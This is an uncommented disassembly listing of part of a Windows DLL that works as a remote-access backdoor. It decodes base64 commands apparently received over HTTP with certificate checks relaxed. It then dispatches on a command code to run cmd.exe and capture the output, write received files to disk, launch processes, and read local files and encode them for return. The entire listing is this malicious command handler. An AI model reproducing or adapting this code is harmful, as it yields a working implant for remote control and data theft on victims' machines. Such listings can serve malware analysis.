mov rcx, qword [rsp + 0xa0]
call qword [0x180025d10]
mov eax, dword [rsp + 0xdbc]
bts eax, 8
mov dword [rsp + 0xdbc], eax
mov eax, dword [rsp + 0xdbc]
bts eax, 0xd
mov dword [rsp + 0xdbc], eax
mov eax, dword [rsp + 0xdbc]
bts eax, 0xc
mov dword [rsp + 0xdbc], eax
mov eax, dword [rsp + 0xdbc]
bts eax, 9
mov dword [rsp + 0xdbc], eax
mov r9d, 4
lea r8, [rsp + 0xdbc]
mov edx, 0x1f
mov rcx, qword [rsp + 0xa0]
call qword [0x180025cd8]
cmp qword [rsp + 0xa0], 0
je 0x180002bdb
mov rax, qword [rsp + 0xe70]
mov qword [rsp + 0x7c8], rax
mov rax, qword [rsp + 0xe70]
mov qword [rsp + 0x7d0], rax
lea rax, [rsp + 0xe60]
mov rcx, rax
call fcn.1800075c0
mov qword [rsp + 0x7d8], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x7c8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x7d0]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x7d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [0x180025d18]
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0
je 0x180002bfc
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [0x180025d08]
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0
je 0x180002dfc
mov dword [rsp + 0xc98], 0
lea rdx, [rsp + 0xc98]
mov rcx, qword [rsp + 0xa0]
call qword [0x180025d00]
test eax, eax
jne 0x180002c4f
mov byte [rsp + 0x5f], 0
lea rcx, [rsp + 0xf20]
call fcn.180006fb0
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x50], al
jmp 0x180002e89
mov eax, dword [rsp + 0xc98]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1800094f8
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x7e0]
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0
jne 0x180002cb4
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0xf20]
call fcn.180006fb0
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x50], al
jmp 0x180002e89
mov eax, dword [rsp + 0xc98]
inc eax
mov eax, eax
mov qword [rsp + 0x7e8], rax
mov rdi, qword [rsp + 0xe0]
xor eax, eax
mov rcx, qword [rsp + 0x7e8]
rep stosb byte [rdi], al
lea r9, [rsp + 0xdf8]
mov r8d, dword [rsp + 0xc98]
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xa0]
call qword [0x180025cc8]
test eax, eax
jne 0x180002d25
mov byte [rsp + 0x61], 0
lea rcx, [rsp + 0xf20]
call fcn.180006fb0
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x50], al
jmp 0x180002e89
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x2e0], 0xffffffffffffffff
inc qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x7f0]
mov rcx, qword [rsp + 0x2e0]
cmp byte [rax + rcx], 0
jne 0x180002d41
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x800], rax
mov r8, qword [rsp + 0x800]
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0xe20]
call fcn.180006bc0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x468], rax
mov rcx, qword [rsp + 0x468]
call fcn.1800094b4
cmp qword [rsp + 0x468], 0
jne 0x180002dd2
mov qword [rsp + 0x808], 0
jmp 0x180002dee
mov qword [rsp + 0xe0], 0x8123
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x808], rax
cmp dword [rsp + 0xc98], 0
ja 0x180002c0a
cmp dword [rsp + 0x84], 0
jne 0x180002e23
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0xf20]
call fcn.180006fb0
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x50], al
jmp 0x180002e89
cmp qword [rsp + 0xa0], 0
je 0x180002e3c
mov rcx, qword [rsp + 0xa0]
call qword [0x180025cf0]
cmp qword [rsp + 0x160], 0
je 0x180002e55
mov rcx, qword [rsp + 0x160]
call qword [0x180025cf0]
cmp qword [rsp + 0x168], 0
je 0x180002e6e
mov rcx, qword [rsp + 0x168]
call qword [0x180025cf0]
mov byte [rsp + 0x63], 1
lea rcx, [rsp + 0xf20]
call fcn.180006fb0
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x180006573
mov ecx, 0xa
call fcn.1800094f8
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x810]
mov qword [rsp + 0x818], rax
movzx eax, byte [0x1800249e0]
mov rcx, qword [rsp + 0x818]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x820], rax
mov rcx, qword [rsp + 0x820]
call fcn.1800094b4
lea rax, [rsp + 0x11c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x214
rep stosb byte [rdi], al
mov qword [rsp + 0xcb0], 0
mov dword [rsp + 0xdc0], 0
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x828], rax
cmp qword [rsp + 0x828], 0
jbe 0x180003255
mov rax, qword [rsp + 0xe90]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
cmp qword [rsp + 0x838], rax
jae 0x180003255
mov dword [rsp + 0xdc4], 0
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x848], rax
mov rax, qword [rsp + 0xe90]
mov qword [rsp + 0x840], rax
lea rax, [rsp + 0xe20]
mov rcx, rax
call fcn.1800075c0
mov qword [rsp + 0x858], rax
mov rax, qword [rsp + 0xe90]
mov qword [rsp + 0x850], rax
mov rax, qword [rsp + 0x840]
mov rcx, qword [rsp + 0x848]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0x850]
mov rcx, qword [rsp + 0x858]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x318], 0
xor eax, eax
or eax, 1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xdc4]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov edx, dword [rsp + 0x190]
mov rcx, qword [rsp + 0x460]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1800030bb
mov eax, dword [rsp + 0xdc4]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x860], rax
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x318], rax
cmp qword [rsp + 0x318], 0
je 0x1800030bb
xor eax, eax
or eax, 1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xdc4]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x318]
mov r8d, eax
mov edx, dword [rsp + 0x190]
mov rcx, qword [rsp + 0x460]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x180003255
mov eax, dword [rsp + 0xdc4]
cmp rax, 0x214
jb 0x180003203
lea rax, [rsp + 0x11c0]
mov rdi, rax
mov rsi, qword [rsp + 0xb8]
mov ecx, 0x214
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xdc4]
sub rax, 0x214
mov dword [rsp + 0xdc0], eax
cmp dword [rsp + 0xdc0], 0
jbe 0x180003191
mov eax, dword [rsp + 0xdc0]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0xcb0], rax
cmp qword [rsp + 0xcb0], 0
je 0x180003184
mov eax, dword [rsp + 0xdc0]
mov rcx, qword [rsp + 0xb8]
add rcx, 0x214
mov rdi, qword [rsp + 0xcb0]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
jmp 0x18000318f
mov dword [rsp + 0xdc0], 0
jmp 0x1800031a8
mov qword [rsp + 0xcb0], 0
mov dword [rsp + 0xdc0], 0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x458], rax
mov rcx, qword [rsp + 0x458]
call fcn.1800094b4
cmp qword [rsp + 0x458], 0
jne 0x1800031de
mov qword [rsp + 0x870], 0
jmp 0x1800031fa
mov qword [rsp + 0xb8], 0x8123
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x870], rax
mov byte [rsp + 0x55], 1
jmp 0x18000325a
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x450], rax
mov rcx, qword [rsp + 0x450]
call fcn.1800094b4
cmp qword [rsp + 0x450], 0
jne 0x180003239
mov qword [rsp + 0x878], 0
jmp 0x180003255
mov qword [rsp + 0xb8], 0x8123
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x878], rax
mov byte [rsp + 0x55], 0
movzx eax, byte [rsp + 0x55]
test eax, eax
je 0x18000656e
mov ecx, 0xa
call fcn.1800094f8
mov qword [rsp + 0x880], rax
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x888], rax
movzx eax, byte [0x1800249e0]
mov rcx, qword [rsp + 0x888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x890], rax
mov rcx, qword [rsp + 0x890]
call fcn.1800094b4
cmp qword [rsp + 0xcb0], 0
je 0x18000656e
cmp dword [rsp + 0x11c4], 0
jne 0x180003b5f
mov rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x898], rax
mov rdx, qword [rsp + 0x898]
lea rcx, [rsp + 0x1060]
call fcn.180006980
nop
mov rax, qword [rsp + 0x1070]
mov qword [rsp + 0x8a0], rax
cmp qword [rsp + 0x8a0], 0
jbe 0x180003b4d
lea rcx, [rsp + 0xfa0]
call fcn.180006f20
nop
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x390]
cmp qword [rax + 0x18], 8
jb 0x18000335f
mov dword [rsp + 0x198], 1
jmp 0x18000336a
mov dword [rsp + 0x198], 0
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x1800033a2
mov rax, qword [rsp + 0x390]
mov rax, qword [rax]
mov qword [rsp + 0x8a8], rax
mov rax, qword [rsp + 0x8a8]
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov qword [rsp + 0x8b8], rax
mov qword [rsp + 0xcd0], 0
mov qword [rsp + 0xcc8], 0
mov dword [rsp + 0xd08], 0x18
mov dword [rsp + 0xd18], 1
mov qword [rsp + 0xd10], 0
xor r9d, r9d
lea r8, [rsp + 0xd08]
lea rdx, [rsp + 0xcc8]
lea rcx, [rsp + 0xcd0]
call qword [0x180025cf8]
test eax, eax
jne 0x18000342b
mov byte [rsp + 0x54], 0
jmp 0x180003831
lea rax, [rsp + 0xd40]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0xd40], 0x68
lea rax, [rsp + 0xcd8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0xd40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rsp + 0xcc8]
mov qword [rsp + 0xd98], rax
mov rax, qword [rsp + 0xcc8]
mov qword [rsp + 0xda0], rax
mov dword [rsp + 0xd7c], 0x101
xor eax, eax
mov word [rsp + 0xd80], ax
mov rax, qword [0x18001fb00]
mov qword [rsp + 0x3e20], rax
lea rax, [rsp + 0x3e28]
mov rdi, rax
xor eax, eax
mov ecx, 0x7c8
rep stosb byte [rdi], al
lea rax, [rsp + 0x3c10]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [0x18001fb08]
mov edx, 0x104
lea rcx, [rsp + 0x3c10]
call fcn.18000decc
lea r8, str.cmd.ex
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb10]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb14]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb18]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb1c]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb20]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb24]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
lea r8, [0x18001fb20]
mov edx, 0x104
lea rcx, [rsp + 0x21e0]
call fcn.18000decc
mov r8, qword [rsp + 0x8b8]
mov edx, 0x3e8
lea rcx, [rsp + 0x3e20]
call fcn.18000decc
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x3e20]
lea rcx, [rsp + 0x21e0]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180003668
mov rcx, qword [rsp + 0xcd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xcc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x54], 0
jmp 0x180003831
mov dword [rsp + 0xdfc], 0
mov dword [rsp + 0x600], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x4e20
mov rcx, qword [rsp + 0xcd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xcc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xf4], 0
jmp 0x1800036c7
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0x14
jge 0x1800037f2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xdcc], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0xdcc]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xcd0]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1800037ed
cmp dword [rsp + 0xdcc], 0
jbe 0x1800037ed
lea rax, [rsp + 0x45f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x802
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xdfc]
mov r8d, 0x800
lea rdx, [rsp + 0x45f0]
mov rcx, qword [rsp + 0xcd0]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800037eb
lea rax, [rsp + 0x45f0]
mov qword [rsp + 0x8c0], rax
mov qword [rsp + 0x250], 0xffffffffffffffff
inc qword [rsp + 0x250]
mov rax, qword [rsp + 0x8c0]
mov rcx, qword [rsp + 0x250]
cmp byte [rax + rcx], 0
jne 0x18000378e
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x8c8], rax
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x8d0], rax
mov r8, qword [rsp + 0x8d0]
lea rdx, [rsp + 0x45f0]
lea rcx, [rsp + 0xfa0]
call fcn.180006bc0
jmp 0x1800037ed
jmp 0x1800037f2
jmp 0x1800036b7
mov rcx, qword [rsp + 0xcd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, qword [rsp + 0xcd8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0xcd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xce0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x54], 1
movzx eax, byte [rsp + 0x54]
test eax, eax
je 0x180003b3f
mov rax, qword [rsp + 0xfb0]
mov qword [rsp + 0x8d8], rax
cmp qword [rsp + 0x8d8], 0
jbe 0x180003b3f
lea rax, [rsp + 0xfa0]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x398]
cmp qword [rax + 0x18], 0x10
jb 0x180003899
mov dword [rsp + 0x1a8], 1
jmp 0x1800038a4
mov dword [rsp + 0x1a8], 0
movzx eax, byte [rsp + 0x1a8]
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x65]
test eax, eax
je 0x1800038dc
mov rax, qword [rsp + 0x398]
mov rax, qword [rax]
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x8e0]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x308], rax
cmp qword [rsp + 0x308], 0
jne 0x18000390c
jmp 0x180003b03
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rsp + 0x308]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0xf8]
inc eax
cdqe
mov qword [rsp + 0x8f0], rax
mov eax, 2
mov rcx, qword [rsp + 0x8f0]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
lea rdx, [0x180024b00]
mov rcx, rax
call fcn.180009500
mov qword [rsp + 0x8f8], rax
mov rax, qword [rsp + 0x8f8]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
je 0x180003b03
mov eax, dword [rsp + 0xf8]
inc eax
cdqe
shl rax, 1
mov qword [rsp + 0x900], rax
mov rdi, qword [rsp + 0xd0]
xor eax, eax
mov rcx, qword [rsp + 0x900]
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x310], 0xffffffffffffffff
inc qword [rsp + 0x310]
mov rax, qword [rsp + 0x908]
mov rcx, qword [rsp + 0x310]
cmp byte [rax + rcx], 0
jne 0x1800039e6
mov rax, qword [rsp + 0x310]
mov ecx, dword [rsp + 0xf8]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x308]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x910], rax
mov qword [rsp + 0x300], 0xffffffffffffffff
inc qword [rsp + 0x300]
mov rax, qword [rsp + 0x910]
mov rcx, qword [rsp + 0x300]
cmp word [rax + rcx*2], 0
jne 0x180003a55
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x918], rax
mov rax, qword [rsp + 0x918]
mov qword [rsp + 0x920], rax
mov r8, qword [rsp + 0x920]
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x438], rax
mov rcx, qword [rsp + 0x438]
call fcn.1800094b4
cmp qword [rsp + 0x438], 0
jne 0x180003ae7
mov qword [rsp + 0x928], 0
jmp 0x180003b03
mov qword [rsp + 0xd0], 0x8123
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x928], rax
lea rcx, [rsp + 0xfa0]
call fcn.180007280
nop
lea rcx, [rsp + 0x1060]
call fcn.180006fb0
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
lea rcx, [rsp + 0xfa0]
call fcn.180007280
nop
lea rcx, [rsp + 0x1060]
call fcn.180006fb0
jmp 0x18000651c
cmp dword [rsp + 0x11c4], 1
jne 0x180003d17
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, [rsp + 0x11cc]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3a0], rax
cmp qword [rsp + 0x3a0], 0xffffffffffffffff
je 0x180003c7b
mov dword [rsp + 0xe00], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xe00]
mov r8d, dword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xcb0]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x11cc]
mov qword [rsp + 0x930], rax
mov qword [rsp + 0x2f8], 0xffffffffffffffff
inc qword [rsp + 0x2f8]
mov rax, qword [rsp + 0x930]
mov rcx, qword [rsp + 0x2f8]
cmp word [rax + rcx*2], 0
jne 0x180003c1d
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x938], rax
mov rax, qword [rsp + 0x938]
mov qword [rsp + 0x940], rax
mov r8, qword [rsp + 0x940]
lea rdx, [rsp + 0x11cc]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
jmp 0x180003cf2
lea rax, [0x18001fe10]
mov qword [rsp + 0x948], rax
mov qword [rsp + 0x2f0], 0xffffffffffffffff
inc qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x2f0]
cmp word [rax + rcx*2], 0
jne 0x180003c96
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x950], rax
mov rax, qword [rsp + 0x950]
mov qword [rsp + 0x958], rax
mov r8, qword [rsp + 0x958]
lea rdx, [0x18001fe10]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
cmp dword [rsp + 0x11c4], 2
jne 0x180003f1d
lea rax, [rsp + 0x1150]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x1150], 0x68
lea rax, [rsp + 0xd20]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1150]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea rax, [rsp + 0x27d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea r8, [rsp + 0x11cc]
mov edx, 0x104
lea rcx, [rsp + 0x27d0]
call fcn.18000decc
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x27d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x180003e65
lea rax, [rsp + 0x27d0]
mov qword [rsp + 0x960], rax
mov qword [rsp + 0x2e8], 0xffffffffffffffff
inc qword [rsp + 0x2e8]
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x2e8]
cmp word [rax + rcx*2], 0
jne 0x180003e07
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x968], rax
mov rax, qword [rsp + 0x968]
mov qword [rsp + 0x970], rax
mov r8, qword [rsp + 0x970]
lea rdx, [rsp + 0x27d0]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
jmp 0x180003edb
lea rax, [0x18001fe14]
mov qword [rsp + 0x978], rax
mov qword [rsp + 0x2d8], 0xffffffffffffffff
inc qword [rsp + 0x2d8]
mov rax, qword [rsp + 0x978]
mov rcx, qword [rsp + 0x2d8]
cmp word [rax + rcx*2], 0
jne 0x180003e80
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0x988], rax
mov r8, qword [rsp + 0x988]
lea rdx, [0x18001fe14]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
mov rcx, qword [rsp + 0xd20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xd28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0xe60]
call fcn.180007280
nop
lea rcx, [rsp + 0xe20]
call fcn.180007280
jmp 0x1800021a7
cmp dword [rsp + 0x11c4], 3
jne 0x180004bfc
lea rax, [0x18001fe18]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x2c8], 0xffffffffffffffff
inc qword [rsp + 0x2c8]
mov rax, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x2c8]
cmp word [rax + rcx*2], 0
jne 0x180003f46
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x998], rax
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x9a0], rax
mov r8, qword [rsp + 0x9a0]
lea rdx, [0x18001fe18]
lea rcx, [rsp + 0xdd0]
call fcn.1800068b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rsp + 0x11cc]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x290], 0xffffffffffffffff
je 0x180004bd7
xor edx, edx
mov rcx, qword [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xca8], eax
cmp dword [rsp + 0xca8], 0
jbe 0x180004bc8
mov eax, dword [rsp + 0xca8]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x9a8]
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
je 0x180004bc8
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xca8]
mov r8d, dword [rsp + 0xca8]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x13e4], 3
lea r8, [rsp + 0x11cc]
mov edx, 0x104
lea rcx, [rsp + 0x13ec]
call fcn.18000de64
lea rcx, [rsp + 0x1080]
call fcn.180006f20
nop
lea rcx, [rsp + 0xfe0]
call fcn.180006f20
nop
mov eax, dword [rsp + 0xca8]
mov dword [rsp + 0x100], eax
lea rax, [rsp + 0xfc0]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, rax
call fcn.1800083b0
lea rcx, [rsp + 0xfc0]
call fcn.180007350
nop
cmp qword [rsp + 0xc0], 0
je 0x180004115
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x1ac], eax
jmp 0x180004120
mov dword [rsp + 0x1ac], 0
mov eax, dword [rsp + 0x1ac]
add rax, 0x214
mov dword [rsp + 0x108], eax
mov eax, dword [rsp + 0x108]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x9b8]
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 0
je 0x18000435f
lea rdx, [rsp + 0xe80]
lea rcx, [rsp + 0xfc0]
call fcn.180006cb0
lea rax, [rsp + 0x13e0]
mov rdi, qword [rsp + 0x170]
mov rsi, rax
mov ecx, 0x214
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0xc0], 0
je 0x1800041d9
cmp dword [rsp + 0x100], 0
jbe 0x1800041d9
mov eax, dword [rsp + 0x100]
mov rcx, qword [rsp + 0x170]
add rcx, 0x214
mov rdi, rcx
mov rsi, qword [rsp + 0xc0]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2c0], 0
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcbc]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov edx, dword [rsp + 0x108]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x180004286
mov eax, dword [rsp + 0xcbc]
lea rdx, [0x180024b00]
mov ecx, eax
call fcn.180009500
mov qword [rsp + 0x9c0], rax
mov rax, qword [rsp + 0x9c0]
mov qword [rsp + 0x2c0], rax
cmp qword [rsp + 0x2c0], 0
je 0x180004286
mov eax, 0x40000000
or eax, 1
lea rcx, [rsp + 0xcbc]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x2c0]
mov r8d, eax
mov edx, dword [rsp + 0x108]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
